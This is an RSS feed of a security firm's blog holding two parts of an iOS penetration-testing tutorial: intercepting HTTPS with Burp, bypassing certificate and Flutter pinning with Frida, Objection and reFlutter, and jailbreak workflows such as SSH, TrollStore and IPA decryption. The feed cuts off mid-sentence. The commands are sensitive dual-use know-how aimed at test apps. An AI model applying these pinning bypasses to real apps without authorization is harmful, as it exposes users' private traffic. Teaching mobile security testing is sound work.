<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[SUDOROOT - Medium]]></title>
        <description><![CDATA[SUD0ROOT is a premier cybersecurity firm, providing cutting-edge security solutions to safeguard businesses from digital threats. We offer expert services such as Red Team operations, malware analysis, and penetration testing. - Medium]]></description>
        <link>https://medium.com/sud0root?source=rss----63c987f53008---4</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>SUDOROOT - Medium</title>
            <link>https://medium.com/sud0root?source=rss----63c987f53008---4</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 13 Nov 2026 23:09:06 GMT</lastBuildDate>
        <atom:link href="https://medium.com/feed/sud0root" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Part 3 — Intercepting HTTPS Traffic, Bypassing Certificate Pinning & Flutter Protections (Testing…]]></title>
            <link>https://medium.com/sud0root/part-3-intercepting-https-traffic-bypassing-certificate-pinning-flutter-protections-testing-ba9557cef992?source=rss----63c987f53008---4</link>
            <guid isPermaLink="false">https://medium.com/p/ba9557cef992</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Faris Faisal 0xFF]]></dc:creator>
            <pubDate>Mon, 19 Jan 2026 12:40:49 GMT</pubDate>
            <atom:updated>2026-04-09T08:20:45.997Z</atom:updated>
            <content:encoded><![CDATA[<h3>Mastering iOS Pentesting: Part 3 — Intercepting HTTPS Traffic, Bypassing Certificate Pinning &amp; Flutter Protections (Testing Network Communication)</h3><blockquote>Welcome to <strong>Part 3</strong> of the Mastering iOS Pentesting series!</blockquote><blockquote>In Part 1 we jailbroke our devices (Dopamine on iPhone 7 iOS 15.8.5 and palera1n on iPhone X iOS 16.7.12). In Part 2 we built the full lab: shell access, scp/AirDrop transfers, Filza filesystem browsing, TrollStore permanent signing, and multiple IPA decryption methods (Frida-iOS-dump, DumpDecrypter, Filza manual).</blockquote><blockquote>Now we move to the <strong>highest-impact area</strong> in mobile pentesting: <strong>network security</strong>. Most critical vulnerabilities live here — leaked tokens, plaintext credentials, weak TLS, missing pinning, or insecure API calls. We follow <strong>OWASP MASVS v2</strong> and <strong>MASTG</strong> network controls</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*esRXBjqAliju0Pt0m8UKbQ.png" /></figure><h3>Table of Contents for Part 3</h3><p><strong>1 Introduction &amp; Recap</strong></p><p><strong>2 Connecting Burp Suite &amp; Intercepting Traffic on iOS Device</strong></p><p>2.1 Adding &amp; Trusting the Burp CA Certificate on iOS</p><p>2.2 Why iOS Protects HTTPS from Interception (ATS, QUIC, DoH, Private Relay)</p><p>2.3 Solving “iOS Ignores Wi-Fi Proxy” Using Potatso VPN / SSL Kill Switch</p><p><strong>3 Testing iOS Network Communication (OWASP MASVS &amp; MASTG)</strong></p><p>3.1 Testing Data Encryption on the Network (HTTPS Enforcement)</p><p>3.2 Identifying Insecure TLS Protocols &amp; Weak Ciphers</p><p>3.3 Verifying Server Certificate Pinning</p><p><strong>4 Bypassing Certificate Pinning</strong></p><p>4.1 Method 1: SSL Kill Switch 3 (Tweak-Based Bypass)</p><p>4.2 Method 2: Frida Scripts (Dynamic Runtime Bypass)</p><p>4.3 Method 3: Objection (Frida Wrapper)</p><p>4.4 Method 4: Binary Patching (Advanced — Persistent)</p><p><strong>5 Intercepting &amp; Bypassing Flutter Traffic</strong></p><p>5.1 Identifying Flutter Applications</p><p>5.2 Intercepting Flutter Network Traffic (Potatso VPN)</p><p>5.3 Bypassing Flutter SSL Pinning</p><p>5.3.1 Static Bypass Using reFlutter</p><p>5.3.2 Dynamic Bypass Using Frida</p><h3>2. Connecting Burp Suite &amp; Intercepting Traffic on iOS Device</h3><h4><strong>2.1 Step-by-step to add &amp; trust Burp certificate:</strong></h4><p>Follow the official PortSwigger guide to configure Burp for iOS: <a href="https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device">https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device</a></p><p>After trusting the Burp certificate on iOS, you would expect full HTTPS interception… but it will still not work fully for most apps and Safari.</p><h4><strong>2.2 Why iOS Protects HTTPS from Interception (Even After Trusting the CA):</strong></h4><p>iOS intentionally prevents HTTPS interception — even after you trust a custom CA — by using multiple security layers:</p><ul><li><strong>Strict TLS enforcement (ATS + CFNetwork):</strong> iOS blocks user-installed CAs for most HTTPS traffic unless the CA is Apple-signed, MDM-pushed, or the app explicitly opts out (which Apple apps don’t).</li><li><strong>Modern protocols &amp; encrypted DNS:</strong> Safari prefers <strong>HTTP/3 (QUIC)</strong> and uses <strong>DoH/DoT</strong>, both of which bypass traditional proxy interception.</li><li><strong>Proxy bypass mechanisms:</strong> <strong>iCloud Private Relay</strong> and security-critical Apple endpoints route traffic around manual proxies.</li></ul><p><strong>Result:</strong> Tools like Burp usually only see CONNECT requests (or nothing). Full HTTPS request/response data remains encrypted and inaccessible.</p><h4>2.3 <strong>Solution: Use Potatso VPN or </strong>SSL kill switch 3 <strong>to Fix “iOS Ignores Wi-Fi Manual Proxy”</strong></h4><p>Potatso is exactly the kind of app that fixes this problem — it creates a <strong>system VPN/tunnel</strong> and <strong>forces all device traffic</strong> through the proxy you configure. That’s why you saw HTTPS traffic reach Burp on your other device.it runs as a system VPN, it doesn’t rely on the Wi-Fi “Manual Proxy” setting. it captures and reroutes system traffic, so Burp gets the TLS CONNECTs and can MITM (provided the Burp CA is trusted).</p><p><strong>Configure Potatso proxy:</strong></p><ol><li>Open Potatso → Manual input “add” OR Profiles / Proxies → Add new proxy:</li></ol><ul><li>Type: HTTP (or SOCKS5 if you prefer; Burp supports both — HTTP is easiest)</li><li>Host: &lt;your-laptop-ip&gt; (e.g., 192.168.1.10) &amp; Port: 8080 then Save</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*vSdSFVFrsOWu7hu_4z9b8A.png" /></figure><ul><li>Toggle the profile ON — iOS will show the VPN icon in the status bar.</li><li>Potatso will request permission to add a VPN profile — allow it.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*ETSQy3SWNBR8feC2MZlSHQ.png" /></figure><blockquote>note: make sure invisible proxying enabled and Device connected to same Wi-Fi as laptop</blockquote><ul><li>Open the browser, and you will find all traffic intercepted.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hM2PG7mSiood8qJwFPgqIw.png" /></figure><h3>3. Testing iOS Network Communication (OWASP MASVS &amp; MASTG)</h3><p>We group all core tests here with direct references to <strong>OWASP MASVS v2</strong> and <strong>MASTG</strong> — the standards every mobile pentester uses.</p><h4>2.1 Testing Data Encryption on the Network (HTTPS Enforcement)</h4><p><strong>MASVS V2:</strong> MASVS-NETWORK-1 <strong>MASTG:</strong> MSTG-NETWORK-1</p><p><strong>Goal:</strong> Confirm the app enforces HTTPS for all requests — no cleartext HTTP fallback (even if Info.plist appears to block it).</p><p><strong>Steps (now that traffic is visible):</strong></p><ol><li>Open Potatso and Burp listener active.</li><li>Launch the target app (DVIA-v2, iGoat-Swift, or real app).</li><li>Perform actions that trigger network calls: login, fetch user data, submit forms, etc.</li><li>In Burp <strong>HTTP history</strong> or <strong>Proxy &gt; Intercept</strong>:</li></ol><ul><li>Look for any <strong>HTTP</strong> requests (not HTTPS) — these appear in plain text (red flag = vulnerability).</li><li>Check request URLs: all should start with https:// — any http:// means plaintext transmission.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*Ew_HR8_cpjUaYMwTF7BEhQ.png" /></figure><p><strong>5. Cross-check Info.plist </strong>(from decrypted IPA in Part 2):</p><ul><li>Open in Filza or unzip IPA → Search for <strong>NSAllowsArbitraryLoads.</strong></li><li>If YES → App allows HTTP anywhere (insecure).</li><li>Look for <strong>NSExceptionDomains</strong> allowing HTTP exceptions.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*y5-uao-SAsqtj3lQtXpoPg.png" /><figcaption>NSAllowsArbitraryLoads</figcaption></figure><h4>2.2 Insecure TLS Protocols in Network Traffic</h4><p><strong>MASTG-TEST-0218:</strong> Insecure TLS Protocols in Network Traffic</p><p><strong>Goal:</strong> Detect use of deprecated TLS versions (1.0 or 1.1) or weak ciphers.</p><blockquote><em>all device traffic can be captured in Wireshark without modifying the iOS system, making it ideal for analyzing app communication and network behavior during iOS security testing.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jlsTdymVNj1RA4_K.png" /></figure><p><strong>Assessment:</strong></p><ul><li><strong>TLS 1.0 / 1.1 or weak ciphers</strong> → ❌ <em>Vulnerability</em> (downgrade attacks, MITM possible)</li><li><strong>TLS 1.2+ with strong ciphers only</strong> → ✅ <em>Secure</em></li></ul><h4>2.3 Verify Server Certificate Pinning</h4><p><strong>MASVS V2:</strong> MASVS-NETWORK-2 <strong>MASTG:</strong> MSTG-NETWORK-4</p><p><strong>Goal:</strong> Confirm the app enforces certificate or public-key pinning.</p><p><strong>Steps:</strong></p><ol><li>Potatso + Burp proxy active (CA trusted).</li><li>Trigger HTTPS request in the app.</li><li><strong>Expected behavior (pinning present):</strong></li></ol><ul><li>App fails to connect → SSL/TLS error or “certificate not trusted” message.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*En2p18mrHa19Vcqfgs54xQ.png" /></figure><p><strong>4. Vulnerable behavior (no pinning or weak):</strong></p><ul><li>Traffic flows normally through Burp → You see full request/response bodies.</li><li>This confirms the app accepted Burp’s fake certificate → No pinning.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*Am7Qy1aBgOU9CuQytqw-4A.png" /></figure><h3>4. Bypassing Certificate Pinning</h3><p>Let’s open the <strong>DVIA v2</strong> vulnerable app &gt; Network Layer Security &gt; click <strong>Send using certificate pinning &amp; send using public key pinning.</strong>and attempt to intercept its network traffic.</p><p>The application enforces <strong>network-layer security</strong> using <strong>certificate pinning. </strong>As a result, when we try to proxy the traffic, the application fails to establish a secure connection and throws an SSL/TLS error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*6jvajenjyKlTwwWqUMK2ow.png" /></figure><p><strong>To successfully intercept the traffic, we must use one of the below bypass methods:</strong></p><h4><strong>Method 1: </strong>SSL Kill Switch 3<strong> Tweaks (Fastest &amp; Easiest)</strong></h4><ul><li>add this repo <a href="https://repo.misty.moe/apt">https://repo.misty.moe/apt</a> to Sileo/Zebra → Search “SSL Kill Switch 3” → Install it and click on Restart SpringBoard.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*-k2pYRMJt7gRBljbR-mUHg.png" /></figure><ul><li>Go to Settings → SSL Kill Switch → Enable Disable Certificate Validation</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aP3XMKMgpp-DpMnqsIEpPw.jpeg" /></figure><ul><li>Re-open <strong>DVIA 2</strong> vulnerable app &gt; Network Layer Security &gt; click <strong>Send using certificate pinning &amp; send using public key pinning.</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5CelLRbK8ok9VJcMWXScuw.jpeg" /></figure><ul><li>Traffic should now fully proxy through Burp</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*qVjDabraqhIyglEz4oXy-g.png" /></figure><h4><strong>Method 2: Frida Scripts (Dynamic &amp; Powerful)</strong></h4><p>Frida is one of the most flexible and reliable ways to bypass certificate pinning at runtime — it hooks into the app’s SSL/TLS validation functions and forces them to accept Burp’s fake certificate. This method works extremely well on most apps (including those with anti-debugging), even when tweaks like SSL Kill Switch fail.</p><p><strong>Prerequisites (recap from Part 2):</strong></p><ul><li>Frida server installed and running on the jailbroken device (via Sileo → <a href="https://build.frida.re/?referrer=grok.com">https://build.frida.re</a> repo).</li><li>Frida tools installed on your laptop: pip install frida-tools (or pipx install frida-tools).</li><li>Device connected via USB (recommended) or same Wi-Fi network.</li><li>Burp listener active (iproxy 8080 8080 or Wi-Fi proxy) + CA trusted.</li></ul><p><strong>Step-by-step:</strong></p><ol><li><strong>List installed / running apps to get the Bundle ID</strong></li></ol><p><em>frida-ps -Uai | grep -i dvia</em></p><ul><li>Copy the Bundle ID (e.g., com.highaltitudehacks.DVIAswiftv2).</li></ul><p>2. Try codeshare Frida scripts</p><p>These are pre-written, community-tested scripts that disable common pinning implementations.</p><ul><li><strong>Attach to running app (recommended — no restart needed):</strong></li></ul><pre>frida -U -N com.highaltitudehacks.DVIAswiftv2 - codeshare lichao890427/ios-ssl-bypass<br>frida -U -N com.highaltitudehacks.DVIAswiftv2 - codeshare snooze6/ios-pinning-disable<br>frida -U -N com.highaltitudehacks.DVIAswiftv2 - codeshare federicodotta/ios13-pinning-bypass<br>frida -U -N com.highaltitudehacks.DVIAswiftv2 - codeshare dki/ios10-ssl-bypass</pre><ul><li><strong>Or spawn (launch) the app fresh with script:</strong></li></ul><p><em>frida -U -f com.highaltitudehacks.DVIAswiftv2 -l bypass1.js</em></p><p>3. <strong>If codeshare scripts fail — try custom or alternative scripts</strong> Some apps use non-standard pinning (e.g., TrustKit, custom NSURLSession delegates, or Flutter/Dart pinning). Download and use these:</p><ul><li><strong>TheBountyBox / Awesmoe Frida Scripts</strong> (highly recommended collection): <a href="https://github.com/TheBountyBox/Awesmoe-Frida-Scripts?referrer=grok.com">https://github.com/TheBountyBox/Awesmoe-Frida-Scripts</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*85c75OhdPR0NhKKs4AnUJA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d5ia7Bf7SpNcqKLNTavxEw.png" /></figure><ul><li>App launches with pinning disabled → Full HTTPS in Burp.</li></ul><h4><strong>Method 3: Objection (Frida CLI Wrapper)</strong></h4><p>Objection is a powerful, high-level wrapper around Frida that simplifies runtime exploration and bypassing of iOS security controls — including certificate pinning — with simple commands.</p><ul><li>pip install objection (if not already).</li><li><strong>List installed apps</strong> frida-ps -Uai | grep -i dvia</li><li><strong>Launch Objection &amp; Disable SSL Pinning</strong></li></ul><p>objection -n com.highaltitudehacks.DVIAswiftv2 start</p><p>ios sslpinning disable</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Hqp-rDrOaew9-kYZBRBQTA.png" /></figure><h4><strong>Method 4: Binary Patching (Advanced — Persistent)</strong></h4><p>Binary patching is an advanced technique that achieves a <strong>persistent SSL pinning bypass</strong> by <strong>statically modifying the application binary</strong>.</p><p>This approach is especially useful when applications implement <strong>anti-instrumentation, anti-debugging, or Frida detection</strong>, or when a long-term and restart-resistant bypass is required.</p><p>We will demonstrate this technique in the binary patching and jailbreak detection bypass part.</p><h3>5. Intercepting &amp; Bypassing Flutter Traffic</h3><p>Flutter applications on iOS implement their own networking stack inside the Flutter engine, which means traditional iOS interception techniques (ATS configuration, NSURLSession hooks, system proxy settings) often <strong>do not work</strong>. As a result, Flutter apps require <strong>special identification and handling</strong> during penetration testing.</p><h4>5.1 Identifying a Flutter Application</h4><p>Before attempting interception, confirm that the target application is built with Flutter. A reliable indicator is the presence of the following framework inside the app bundle:</p><p><em>Payload/Runner.app/Frameworks/Flutter.framework/Flutter</em></p><p>If this framework exists, the application is using Flutter’s engine-level TLS implementation, and standard iOS SSL pinning bypass techniques may fail.</p><h4>5.2 Intercepting Flutter Network Traffic</h4><p><strong>Potatso (Best Option — Worked Successfully)</strong></p><p>Potatso operates as a local VPN on iOS and was able to intercept Flutter traffic reliably without requiring additional runtime tooling.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*-ptgk6VaC1pEGD9VbSzAaw.png" /></figure><h4>5.3 Bypassing Flutter SSL Pinning</h4><p>Flutter applications typically enforce TLS verification inside the Flutter engine, making standard iOS pinning bypass scripts ineffective. Two main approaches can be used:</p><h4>Method 1: Static Bypass Using reFlutter</h4><p><a href="https://github.com/Impact-I/reFlutter"><strong>reFlutter</strong></a> allows repackaging a Flutter IPA with TLS verification disabled at the engine level.</p><p><strong>Workflow:</strong></p><ol><li>Repatch the original IPA using reFlutter</li><li>Re-sign and install the patched application</li><li>Intercept traffic using Potatso</li></ol><p>This method was successfully used during a <strong>real penetration testing engagement</strong>, where Flutter TLS pinning initially blocked interception.</p><p><strong>Proof of Concept Included:</strong></p><ul><li>TLS handshake failure before patching</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*ZMHGEYPwmmigEjHuYFkNNA.png" /></figure><ul><li>Successful reFlutter patch applied to the IPA</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*Goh1om0c_nA7BB0ZscILHw.png" /></figure><ul><li>Full HTTPS traffic interception after patching</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zov-I91-hmhkwxo03vv1Aw.png" /></figure><h4>Method 2: Dynamic Bypass Using Frida</h4><p>As an alternative, Flutter TLS verification can be bypassed dynamically using Frida-based scripts, such as:</p><ul><li><a href="https://github.com/NVISOsecurity/disable-flutter-tls-verification">disable-flutter-tls-verification</a></li></ul><blockquote>Dynamic bypass is useful for <strong>quick analysis</strong>, but static patching remains the preferred approach for long-term testing.</blockquote><blockquote>Stay tuned for Part ,where we will test jailbreak detection mechanisms and iOS Platform APIs.</blockquote><p>if you find this blog useful, don’t forget to hit the clap button and follow the blog.</p><p>#MasteringiOSPentesting #Jailbreak #MobileSecurity</p><p><strong>Certifications:</strong><br>OSEC3, CRTL, CRTO, OSCP, OSEP, OSWE, OSED, eMAPT … Others</p><p><strong>Follow me on</strong> <a href="https://www.linkedin.com/in/frsfaisall/">LinkedIn</a> &amp; <a href="https://x.com/farisfaisall1">Twitter(</a>X) to stay updated and to know new things.</p><p>Bye Bye, Take Care.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ba9557cef992" width="1" height="1" alt=""><hr><p><a href="https://medium.com/sud0root/part-3-intercepting-https-traffic-bypassing-certificate-pinning-flutter-protections-testing-ba9557cef992">Part 3 — Intercepting HTTPS Traffic, Bypassing Certificate Pinning &amp; Flutter Protections (Testing…</a> was originally published in <a href="https://medium.com/sud0root">SUDOROOT</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mastering iOS Pentesting: Part 2 — Shell Access, File Transfers, IPA-App Signing, TrollStore & IPA…]]></title>
            <link>https://medium.com/sud0root/mastering-ios-pentesting-part-2-shell-access-file-transfers-ipa-app-signing-trollstore-ipa-1dcf484b5036?source=rss----63c987f53008---4</link>
            <guid isPermaLink="false">https://medium.com/p/1dcf484b5036</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[mobile-security]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cybercrime]]></category>
            <dc:creator><![CDATA[Faris Faisal 0xFF]]></dc:creator>
            <pubDate>Sun, 18 Jan 2026 00:46:28 GMT</pubDate>
            <atom:updated>2026-01-18T00:46:28.813Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Mastering iOS Pentesting: Part 2 — </strong>Shell Access, File Transfers, IPA-App Signing, TrollStore &amp; IPA Dumping &amp; Decrypting</h3><blockquote>Welcome back to the Mastering iOS Pentesting series! In Part 1, we successfully jailbroke our test devices (Dopamine on iPhone 7 iOS 15.8.5 and palera1n on iPhone X iOS 16.7.12). With root access unlocked, we’re ready to install tools, access the shell, handle IPAs, and intercept traffic.</blockquote><blockquote>This part focuses on the essential post-jailbreak workflows for real pentesting: remote/local shell, file transfers and manager, signing &amp; installing ipa apps, decrypting installed apps (IPA dumping). We’ll use vulnerable apps like DVIA-v2, iGoat-Swift, and OWASP MASTG crackmes for examples.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m1ePE-ULfZBsWjpc_1cYAw.png" /></figure><h3>Table of Contents for Part 2</h3><ol><li><strong>Introduction &amp; Recap</strong></li></ol><ul><li>From jailbreak to post-jailbreak workflows &amp; Vulnerable apps used in demos</li></ul><p><strong>2. Package Managers — Sileo &amp; Zebra</strong></p><p><strong>3. Remote Shell Access (SSH) &amp; USB Forwarding</strong></p><ul><li>Install &amp; connect OpenSSH</li><li>USB iproxy forwarding &amp; troubleshooting</li></ul><p><strong>4. On-Device Local Shell Access</strong></p><ul><li>Install &amp; use NewTerm</li></ul><p><strong>5. File Transfers Between Device &amp; PC</strong></p><ul><li>scp examples (Wi-Fi &amp; USB) &amp; AirDrop alternative</li><li>Fix host key errors</li></ul><p><strong>6. Installing Filza File Manager</strong></p><ul><li>Installation &amp; key pentesting paths</li><li>Quick usage tips</li></ul><p><strong>7. Signing &amp; Installing Apps (TrollStore Focus)</strong></p><ul><li>Temporary methods recap</li><li>Permanent install with TrollStore</li></ul><p><strong>8. Dumping &amp; Decrypting App Store IPAs</strong></p><ul><li>Why needed</li><li>Primary methods: DumpDecrypter, Frida-iOS-dump, Filza manual</li><li>Other Methods (summary)</li></ul><h3>Step 2: Package Manager (Sileo &amp; Zebra)</h3><p>(Note: We already handled the initial installation of Sileo and Zebra directly during the jailbreak process in Part 1 — via the Dopamine app prompt or palera1n app. Both jailbreaks bundle and install them automatically when you select the package managers and complete the respring.)</p><p>If they didn’t install, got removed, or you need to reinstall/refresh</p><blockquote>Note: <a href="https://ios-repo-updates.com/?referrer=grok.com">https://ios-repo-updates.com</a> (very useful — to find and install any tweaks: open ios-repo-updates.com in Safari, search for the tweak name, and it will show you the exact repo/source to add in Sileo/Zebra)</blockquote><p>Tip: Use both Sileo (speed) and Zebra (better UI/browsing). Avoid adding too many repos at once to prevent conflicts or slow refreshes.</p><h3>Step 3: Shell Access — Remote SSH &amp; Localhost forwarding via USB</h3><p><strong>Install OpenSSH on both jailbreak methods</strong></p><ol><li><strong>In Sileo (or Zebra):</strong></li></ol><ul><li>Go to Search tab.</li><li>Search for <strong>OpenSSH</strong> (usually from Procursus repo — it should already be added by default).</li><li>Install the latest version.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*eVGME-4CWE20uugY4--XRA.png" /></figure><p><strong>2. After installation, SSH service should auto-start</strong>. (Password was set during jailbreak success)</p><p><strong>3. Connect from your PC/Mac to jailbroken device:</strong></p><ul><li>Find device IP: Settings → Wi-Fi → [your network] → IP Address (e.g., 192.168.1.42)</li><li>Terminal command (Default user is mobile):</li></ul><pre>ssh mobile@192.168.1.42</pre><ul><li>Once inside:</li></ul><pre>sudo su</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rjQc4Xb2RceDeIejVR1-hA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ev8dl-pbrG7NJCPza5yP2g.png" /></figure><p><strong>4. If you still can’t connect:</strong></p><ul><li>Reboot userspace (respring) or toggle Airplane Mode off/on.</li><li>Check if OpenSSH is running: In NewTerm → ps aux | grep sshd</li></ul><p><strong>5. Localhost forwarding option (via USB):</strong></p><ul><li>On PC: Run <em>iproxy 2222 22</em> (install libimobiledevice first: <em>brew install libimobiledevice)</em></li><li>Then connect: <em>ssh -p 2222 mobile@localhost</em></li></ul><h3>Step 4: Access the Device (On-Device Shell) — Local on iPhone</h3><p>Install a terminal app to get a full shell directly on the device (useful when no PC is nearby).</p><p><strong>On both jailbreak methods (Dopamine &amp; palera1n):</strong></p><ol><li>Open Sileo (or Zebra).</li><li>Go to Sources → Chariz (or search globally).</li><li>Search for: <strong>NewTerm</strong> (recommended — modern, supports root) or <strong>NewTerm 2</strong></li></ol><p>4. Install → Respring if prompted.</p><p>5. Open NewTerm from Home Screen.</p><ul><li>You start as mobile user → type su or sudo su → enter your password to become root.</li><li>Now you have a full local terminal on the iPhone.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7EcLZIsUKXqBFeEttLh0HA.png" /></figure><h3>Step 5: Transferring Data Between Device and PC (scp, AirDrop)</h3><ol><li><strong>Copy file from PC → Mobile</strong></li></ol><ul><li>Via direct remote SSH (Wi-Fi):scp ~/Downloads/my-app.ipa mobile@192.168.1.42:/var/mobile/Documents/</li><li>Via USB forwarding (recommended for reliability): iproxy 2222 22 scp -P 2222 ~/Downloads/Nhccommunity.ipa mobile@localhost:/var/mobile/Documents/</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mzko5stAyxZu4keZZn9SJg.png" /></figure><p><strong>2. Copy file from Mobile → PC</strong></p><ul><li>Via remote SSH (Wi-Fi IP): scp mobile@192.168.1.42:/var/mobile/Media/DCIM/100APPLE/IMG_0001.JPG ~/Desktop/</li><li>Via USB forwarding:iproxy 2222 22 scp -P 2222 mobile@localhost:/var/containers/Bundle/Application/093C6930-8B9E-4D9E-874D-D31B28AAF48E/music.ipa .</li></ul><p><strong>3. Copy a folder recursively</strong></p><pre>scp -r root@192.168.1.42:/var/mobile/Containers/Data/Application/ ./app_data_backup/</pre><p><strong>4. Quick help / syntax reminder</strong></p><pre>scp mobile@&lt;IP&gt;:&lt;path_on_device&gt; &lt;local_destination&gt;<br>scp -P 2222 mobile@localhost:&lt;remote_path&gt; &lt;local_path&gt;</pre><p><strong>5. Solve “Host key verification failed” again</strong></p><pre>ssh-keygen -R &quot;[localhost]:2222&quot;<br># or<br>ssh-keygen -R &quot;[127.0.0.1]:2222&quot;</pre><p>Alternative: AirDrop — Enable on both Mac and iPhone → right-click file → Share → AirDrop (fast for small files).</p><h3><strong>Setp 6: </strong>Installing Filza File Manager (Essential Filesystem Explorer)</h3><p>Filza is the go-to on-device file manager for iOS pentesting. It lets you browse the full filesystem (including /var/mobile/Containers/, app sandboxes, /Library/Preferences/, keychain files, and more), edit plists, view databases (SQLite/Realm), extract IPA contents, and much more — all graphically without needing a PC.</p><p><strong>Quick Installation Steps (Dopamine &amp; palera1n):</strong></p><ol><li>Open <strong>Sileo</strong> (preferred) or <strong>Zebra</strong>.</li><li>Search for <strong>Filza</strong> or <strong>Filza File Manager</strong>.</li><li>Install the latest version (by Tigisoftware, usually 4.x in 2026).</li><li>Respring if prompted (or manually: hold power + volume up, or in NewTerm: killall -9 SpringBoard).</li><li>Open Filza from Home Screen (blue folder icon with white “F”).</li></ol><ul><li>Grant full access (jailbreak allows it).</li><li>Navigate to key paths:</li><li>/var/mobile/Containers/Bundle/Application/ → Installed apps</li><li>/var/mobile/Containers/Data/Application/ → App data &amp; sandboxes</li><li>/var/mobile/Library/Preferences/ → Plist configs</li><li>/var/mobile/Documents/ → Transferred files/IPAs</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_3PvHaV5RuILfwz9cwq4Qw.png" /></figure><p><strong>Quick Tips for Pentesting:</strong></p><ul><li>Use the search magnifying glass to find files fast (e.g., “.plist”, “keychain”).</li><li>Long-press any file → Open in Hex/Text/SQLite viewer.</li><li>To extract .ipa: Tap file → View Contents → Explore Payload/YourApp.app/.</li><li>Run as root (toggle in Filza settings) for full read/write.</li></ul><h3>Step 7: Signing &amp; Installing Apps</h3><p><strong>Two main approaches:</strong></p><ul><li><strong>SideLoadly / AltStore / 3uTools</strong> — Safe, temporary sideloading (7-day limit) — even on non-jailbroken devices. (We mentioned SideLoadly in Part 1 for installing Dopamine itself.)</li><li><strong>TrollStore</strong> — Permanent installs (no expiry) — ideal for jailbroken devices or exploitable versions. Perfect for pentesting tools and vulnerable apps.</li></ul><p><strong>TrollStore Installation (Jailbroken with palera1n or Dopamine-compatible)</strong></p><ol><li>Open your package manager (Sileo / Zebra).</li><li>Search and install <strong>TrollStore Helper</strong>.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*EkmorJOmRaJ776cuyQqjBw.png" /></figure><p>3. After install → Home Screen → open <strong>TrollHelper</strong> app.</p><p>4. Inside TrollHelper → tap <strong>Install TrollStore</strong>.</p><p>5. Wait — device will respring.</p><p>6. TrollStore icon appears on Home Screen.</p><p>7. Open TrollStore → tap <strong>Install Persistence Helper</strong> → choose any system app (e.g., Tips.app or Measure) to make it permanent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*XKHPuxA1iYU1gkRGCuGU-A.png" /></figure><p>8. Now you can install any .ipa permanently:</p><ul><li>Transfer IPA to device (via scp, AirDrop, Filza).</li><li>In Filza → tap the .ipa → Share → Open in TrollStore → Install.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*dllgYPJdUCubvpblIEvj6Q.png" /></figure><p><strong>How it works:</strong> Exploits CoreTrust bug → bypasses Apple signing limits. <strong>Limitations:</strong> Only works on supported iOS versions with the vulnerability.</p><h3><strong>Step 8: Dumping &amp; Decrypting App Store IPAs (Essential for Static Analysis)</strong></h3><p>App Store binaries are encrypted — to perform proper reverse engineering, look for hardcoded secrets, patch binaries, or analyze frameworks, you need a decrypted .ipa. All effective methods require a jailbroken device (as set up in Part 1).</p><p><strong>We’ll cover them in order of current real-world preference in 2026 pentesting 